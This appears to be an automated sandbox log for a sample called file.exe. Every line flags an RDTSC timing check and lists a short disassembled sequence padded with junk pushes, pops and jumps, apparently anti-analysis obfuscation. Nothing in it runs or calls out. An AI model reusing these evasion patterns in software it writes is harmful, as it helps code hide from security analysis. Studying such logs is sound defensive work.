Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAE32 second address: AEAE42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jl 00007F332CB40D0Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26F3E second address: B26FAA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F332D370A54h 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jg 00007F332D370A46h 0x0000001b pop ebx 0x0000001c pushad 0x0000001d jmp 00007F332D370A54h 0x00000022 jmp 00007F332D370A55h 0x00000027 je 00007F332D370A46h 0x0000002d jmp 00007F332D370A51h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C62B second address: B2C655 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F332CB40D06h 0x00000008 jng 00007F332CB40D06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 jmp 00007F332CB40D16h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C655 second address: B2C659 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C659 second address: B2C65F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B318CB second address: B318CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B318CF second address: B318EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F332CB40D11h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B318EC second address: B318F2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31A83 second address: B31AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F332CB40D17h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31AA3 second address: B31AD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A55h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F332D370A54h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31C44 second address: B31C48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31C48 second address: B31C7B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F332D370A46h 0x00000008 jmp 00007F332D370A58h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 jne 00007F332D370A60h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jnl 00007F332D370A46h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31C7B second address: B31C7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31DB9 second address: B31DBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31DBD second address: B31E00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D13h 0x00000007 jmp 00007F332CB40D15h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F332CB40D14h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31F3F second address: B31F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F332D370A4Eh 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31F4D second address: B31F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31F51 second address: B31F61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F332D370A46h 0x0000000a jbe 00007F332D370A46h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B320BC second address: B320C8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B321F0 second address: B32201 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A4Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32201 second address: B3220C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32643 second address: B32662 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F332D370A4Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32DC3 second address: B32DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32DC7 second address: B32DCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3551B second address: B3553A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F332CB40D17h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3553A second address: B35544 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F332D370A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B350A3 second address: B350B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 jns 00007F332CB40D0Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B350B8 second address: B350C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F332D370A46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37D98 second address: B37D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37D9C second address: B37DE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F332D370A53h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F332D370A50h 0x00000019 jmp 00007F332D370A4Bh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B6BE second address: B3B6D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D13h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B6D6 second address: B3B702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jbe 00007F332D370A46h 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F332D370A58h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3B702 second address: B3B707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA778 second address: AEA7D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A50h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c push edi 0x0000000d js 00007F332D370A46h 0x00000013 pop edi 0x00000014 pop esi 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007F332D370A48h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 sub dword ptr [ebp+122D2940h], esi 0x00000036 push 00000004h 0x00000038 sub dword ptr [ebp+122D336Dh], esi 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 push esi 0x00000043 pop esi 0x00000044 jnc 00007F332D370A46h 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA7D1 second address: AEA7D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4062A second address: B40641 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F332D370A4Ah 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4432C second address: B44330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B44330 second address: B4435E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A59h 0x00000007 jmp 00007F332D370A4Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4435E second address: B44363 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B44363 second address: B44396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a je 00007F332D370A46h 0x00000010 jmp 00007F332D370A56h 0x00000015 jng 00007F332D370A46h 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B444F6 second address: B444FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B444FA second address: B4450C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jno 00007F332D370A46h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4450C second address: B4451C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F332CB40D06h 0x00000008 jns 00007F332CB40D06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4451C second address: B44531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F332D370A51h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B44531 second address: B44535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4482B second address: B44831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B449AC second address: B449B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B44B54 second address: B44B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F332D370A55h 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007F332D370A55h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B44B88 second address: B44B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BBFF second address: B4BC1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BC1D second address: B4BC22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BC22 second address: B4BC35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F332D370A4Dh 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BC35 second address: B4BC57 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F332CB40D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F332CB40D12h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BC57 second address: B4BC5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BDA9 second address: B4BDAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BDAF second address: B4BDC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F332D370A50h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BDC5 second address: B4BDCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BDCA second address: B4BDD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BDD2 second address: B4BDEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F332CB40D0Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BDEA second address: B4BDEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BDEE second address: B4BDF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C960 second address: B4C975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F332D370A4Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D158 second address: B4D17E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F332CB40D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F332CB40D18h 0x00000010 jmp 00007F332CB40D10h 0x00000015 push esi 0x00000016 pop esi 0x00000017 pushad 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D17E second address: B4D192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F332D370A4Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D739 second address: B4D777 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F332CB40D14h 0x00000008 jmp 00007F332CB40D0Ch 0x0000000d js 00007F332CB40D06h 0x00000013 jmp 00007F332CB40D11h 0x00000018 popad 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D777 second address: B4D789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F332D370A46h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D789 second address: B4D7AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F332CB40D06h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jmp 00007F332CB40D12h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5157B second address: B51581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B51581 second address: B51585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50756 second address: B50760 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50760 second address: B50764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B508BA second address: B508CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F332D370A46h 0x0000000a popad 0x0000000b pushad 0x0000000c jno 00007F332D370A4Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B508CE second address: B508D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B508D6 second address: B508DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50BB9 second address: B50BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5112E second address: B51132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B51132 second address: B51153 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F332CB40D0Ch 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B51153 second address: B51157 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B51157 second address: B5115D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B512AD second address: B512B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B512B5 second address: B512B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B512B9 second address: B512C3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F332D370A46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B52AA1 second address: B52AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F332CB40D06h 0x0000000a jmp 00007F332CB40D16h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56EB2 second address: B56EB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5C487 second address: B5C498 instructions: 0x00000000 rdtsc 0x00000002 js 00007F332CB40D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5C498 second address: B5C4A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5C4A2 second address: B5C4B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F332CB40D06h 0x0000000d jbe 00007F332CB40D06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5C4B5 second address: B5C4B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5C4B9 second address: B5C4CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push esi 0x0000000a jo 00007F332CB40D12h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5C790 second address: B5C794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5CA8B second address: B5CA91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5CA91 second address: B5CAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push esi 0x00000007 push ebx 0x00000008 jmp 00007F332D370A52h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5CC01 second address: B5CC07 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5CC07 second address: B5CC52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F332D370A4Bh 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F332D370A58h 0x00000017 jmp 00007F332D370A4Bh 0x0000001c push eax 0x0000001d pop eax 0x0000001e popad 0x0000001f jmp 00007F332D370A4Dh 0x00000024 rdtsc
